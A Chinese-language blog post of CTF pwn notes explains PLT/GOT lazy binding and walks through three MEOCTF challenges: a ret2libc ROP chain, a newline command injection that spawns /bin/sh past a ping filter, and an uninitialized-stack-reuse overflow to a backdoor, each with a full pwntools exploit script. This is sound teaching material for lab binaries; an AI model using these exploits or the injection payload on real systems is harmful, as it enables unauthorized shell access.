mobile wallpaper 1mobile wallpaper 2mobile wallpaper 3mobile wallpaper 4mobile wallpaper 5mobile wallpaper 6
1167 字
3 分钟
动态链接
2025-11-23

动态链接和延迟绑定#

一些来自动态连接库的函数,是在第一次调用的时候才会真正加载程序的地址,这就是延迟绑定,而这一个过程主要通过plt 表和 got 表来实现, 其中 plt 是程序连接表,而 got表 是全局偏移表,程序在运行时,首次调用一个函数 假设为printf 的时候,程序会调用 plt,通过plt跳转到,对应的got表之中 但是在第一次调用的时候,got表中存放的不是函数的确切地址而是跳转回 plt中下一条指令的地址,而这个下一条 指令会将 代表这个函数的标识符压入栈中,此时链接器ld工作根据这个压入的标识符找到目标函数的真实位置,然后跟新GOT,此时GOT表中的地址就是该函数真实的地址,所以通过这个特性,我们可以通过泄露出的GOT更新前后的地址,分别求出libc(c 标准库)和elfbase(程序)的基址,来进行进一步的攻击

例题 MEOCTF easylibc#

通过checksec ./pwn 发现程序开启了如下保护

[*] '/home/yoyo/yoyo_dir/MyProject/aboutPwn/base/ezlibc/ezlibc/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No

ASLR PIE 让我们不能直接获取函数的地址,所以需要求出程序的基地址,通过ida 发现其中有大量 ender64, 所以也不能直接使用pwntool 获取函数的偏移

通过ida分析发现存在如下关键函数

int __fastcall main(int argc, const char **argv, const char **envp)
{
setbuf(_bss_start, 0);
printf("What is this?\nHow can I use %p without a backdoor? Damn!\n", &read);
vuln();
puts("Something happening");
return 0;
}
ssize_t vuln()
{
_BYTE buf[32]; // [rsp+0h] [rbp-20h] BYREF
return read(0, buf, 0x60u);
}

其中 printf泄露出了 read 第一次调用前的地址,它所指向的是 plt下一条指令的地址,所以可以通过gdb 调试出并计算出程序的基地址, 函数vlun 存在栈溢出漏洞

思路,我们可以有如下攻击思路,第一次构建rop 将再次调用main 函数利用printf("What is this?\nHow can I use %p without a backdoor? Damn!\n", &read); 这条指令算出read 的真实地址, 加上此前泄露出的plt地址我们可以算出 程序的基地址和libc 的基地址,为第二次 ret2libc 攻击提供条件

所以我们可以构建出如下脚本

from pwn import *
context.log_level = "debug"
elf = ELF("./pwn")
# libc = ELF("./libc.so.6")
libc = ELF("libc.so.6")
# p = process("./pwn")
p = remote('127.0.0.1', 43527)
# 获取泄露出来的 read 地址获取程序基地址
p.recvuntil(b"use")
readLeakStr = str(p.recvline()).split(" ")[1]
readLeakAddr = int(readLeakStr, 16)
log.info(f" function@read:{ hex(readLeakAddr) }")
elfBase = readLeakAddr - 0x1060 # 因为 plt的延迟绑定 导致无法准确获取正确偏移 gdb 调试得出
log.info(f"address@elfBase: {hex(elfBase)}")
# input(f"$ pwndbg -p {p.pid} ######")
# 我们需要构建一个rop 在次执行 main 函数 泄露出 read 函数的真实地址
mainAddr = elfBase + 0x11EE # 存在endr64
offset = 32
payload = flat([
b"a" * offset,
p64(elfBase + 0x40A0), # 存疑
p64(mainAddr)
])
p.sendline(payload)
p.recvuntil(b"use")
readLeakStr = str(p.recvline()).split(" ")[1]
readLeakAddr = int(readLeakStr, 16)
log.info(f"function@read:{ hex(readLeakAddr) }")
# 此时 readLeakAddr 为真实地址
libc.address = readLeakAddr - libc.symbols["read"]
log.info(f"Address@libcBase:{hex(libc.address)}")
ret = 0x29139 + libc.address
rdi = 0x2a3e5 + libc.address
systemAddr = libc.symbols["system"]
binshAddr = next(libc.search("/bin/sh"))
payload = flat([
b"a" * offset,
p64(elfBase + 0x4500),
p64(ret),
p64(rdi),
p64(binshAddr),
p64(systemAddr)
])
p.send(payload)
p.interactive()

总结#

要注意 对于可能的libc 函数的调用泄露,要注意是否调用过否则,否则只会调用出错误的地址, 对于 endr64的处理方法,可以尝试 使用传统函数序言的地址,绕过检测

inject#

除了使用栈溢出的方式,找出漏洞,有时候程序的逻辑漏洞也可以是利用点

例题 MEOCTF inject#

下载目标文件发现 保护全开

[*] '/home/yoyo/yoyo_dir/MyProject/aboutPwn/base/inject/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No

通过ida分析发现没有可以利用的漏洞

unsigned __int64 ping_host()
{
_QWORD *p_buf; // rsi
size_t v1; // rax
char *Invalid_hostname_or_IP; // rdi
unsigned __int64 result; // rax
char v4; // [rsp+1h] [rbp-51h]
_QWORD buf[2]; // [rsp+2h] [rbp-50h] BYREF
char command[40]; // [rsp+12h] [rbp-40h] BYREF
unsigned __int64 v7; // [rsp+3Ah] [rbp-18h]
v7 = __readfsqword(0x28u);
buf[0] = 0;
buf[1] = 0;
_printf_chk(1, "Enter host to ping: ");
p_buf = buf;
if ( read(0, buf, 0xFu) <= 0 )
exit(1);
v1 = strlen((const char *)buf);
if ( *(&v4 + v1) == 10 )
*(&v4 + v1) = 0;
if ( check((const char *)buf) )
{
p_buf = &qword_20;
_snprintf_chk(command, 32, 1, 32, "ping %s -c 4", (const char *)buf);
Invalid_hostname_or_IP = command;
execute(command);
}
else
{
Invalid_hostname_or_IP = "Invalid hostname or IP!";
puts("Invalid hostname or IP!");
}
result = v7 - __readfsqword(0x28u);
if ( result )
_stack_chk_fail(Invalid_hostname_or_IP, p_buf);
return result;
}
_BOOL8 __fastcall check(const char *s)
{
return strpbrk(s, ";&|><$(){}[]'\"`\\!~*") == 0;
}

通过观察 _snprintf_chk(command, 32, 1, 32, "ping %s -c 4", (const char *)buf); 这个指令,存在格式化字符串漏洞的可能,于是我们只需要找出合适的方法将 ping %s -c 4 拆成两个指令的方式 就可以获取的到shell, 而check 函数中函数没有过滤掉\n # 等字符,所以我们可以写出如下脚本

from pwn import *
context.log_level = "debug"
p = process('./pwn')
# p = remote('127.0.0.1', 44777)
# 使用完整的 shell 路径和交互参数
payload = b"\n"
payload += b"/bin/sh -i\n"
# payload = "127.0.0.1"
# p.recvuntil(b"choice: ")
# print(p.recv())
p.sendlineafter(b'choice: ', b'4')
p.sendlineafter(b'ping: ', payload)
p.interactive()

总结#

在常规攻击方法找不到的时候可以尝试去寻找一些逻辑漏洞

未初始化缓冲区#

由于rsp,rbp 这个两个寄存器只是规定栈的范围,所以栈上的数据不会无缘预估的被清理,所以在遇见未初始化的变量的时候考虑一下,栈复用的机制,使用gdb调试查看栈的变化

例题 MEOCTF xdulaker#

通过 checksec ./pwn 发现程序存在如下保护

Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No

通过ida分析发现有如下关键函数

int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
menu();
while ( 1 )
{
while ( 1 )
{
putchar(62);
__isoc99_scanf("%d", &opt);
if ( opt != 1 )
break;
pull();
}
if ( opt == 2 )
{
photo();
}
else
{
if ( opt != 3 )
exit(0);
laker();
}
}
}
ssize_t laker()
{
_BYTE s1[48]; // [rsp+0h] [rbp-30h] BYREF
if ( memcmp(s1, "xdulaker", 8u) )
{
puts("You are not him.");
exit(0);
}
puts("welcome,xdulaker");
return read(0, s1, 0x100u);
}
int pull()
{
return printf("Thanks,I'll give you a gift:%p\n", &opt);
}
int photo()
{
_BYTE buf[80]; // [rsp+0h] [rbp-50h] BYREF
puts("Hey,what's your name?!");
read(0, buf, 0x40u);
return puts("I will teach you a lesson.");
}
int backdoor()
{
return system("/bin/sh");
}

其中 pull 函数可以让我们知道 opt 在函数中的实际地址,从而绕过pie保护获取程序的基地址,保护获取后门函数的地址,同时我们可以看到函数xdulaker 存在栈溢出漏洞,同时使用了,没有初始化的缓冲区 而photo 则是一个普通的函数,但是通过gdb调试发现在photo 函数的缓冲区中的第32字节后面的内容会被laker函数的缓冲区中访问到,然后就能够绕过laker 函数的判断,让我们能够控制可以造成栈溢出的函数

于是可以构建出如下脚本

from pwn import *
context.log_level = "debug"
elf = ELF("./pwn")
libc = ELF("./libc.so.6")
# p = process("./pwn")
p = remote("127.0.0.1", 45249)
# 获取整个程序的基地址
p.sendlineafter(b'>', b'1')
p.recvuntil(b':')
optRealAddr = int(p.recv(14), 16)
# optRealAddr = int(optRealAddrStr, 16)
log.info(f"Find The opt Address {hex(optRealAddr)}")
# 计算 程序的基地址 & 一些其他函数的地址
# optSym = 0x4010
optSym = elf.symbols["opt"]
elf.address = optRealAddr - optSym
print(hex(optSym))
bkdAddr = elf.address + 0x124E # 为什么不是函数开头 因为存在 endbr64 需要手动存入传统的函数序言
# mov rbp, rsp
log.info(f"program base address: {hex(elf.address)}")
log.info(f"Address@backdoor: {hex(bkdAddr)}")
# 栈溢出
# p.recvuntil(b">")
p.sendline(b"2")
p.recvuntil(b"\n")
payload1 = flat([
b"a" * 0x20, # 32
b"xdulaker" # 由于栈的复用机制,s1 的在初始有 photo 函数 0x20 后边的内容
])
p.sendline(payload1)
p.recvuntil(b">")
p.sendline(b"3")
p.recvuntil(b"ker")
offset = 0x38
payload2 = flat([
b"a" * offset,
p64(bkdAddr),
])
print(payload2)
p.sendline(payload2)
p.interactive()

总结#

当遇到程序访问没有初始化数据的缓冲区等类似性质的变量,可以尝试利用gdb调试栈中的状态,可能能通过栈的分布为后续栈溢出攻击创造条件,

分享

如果这篇文章对你有帮助,欢迎分享给更多人!

动态链接
https://yoyolp.github.io/posts/11/23/
作者
超级玉米人
发布于
2025-11-23
许可协议
CC BY-NC-SA 4.0

部分信息可能已经过时

目录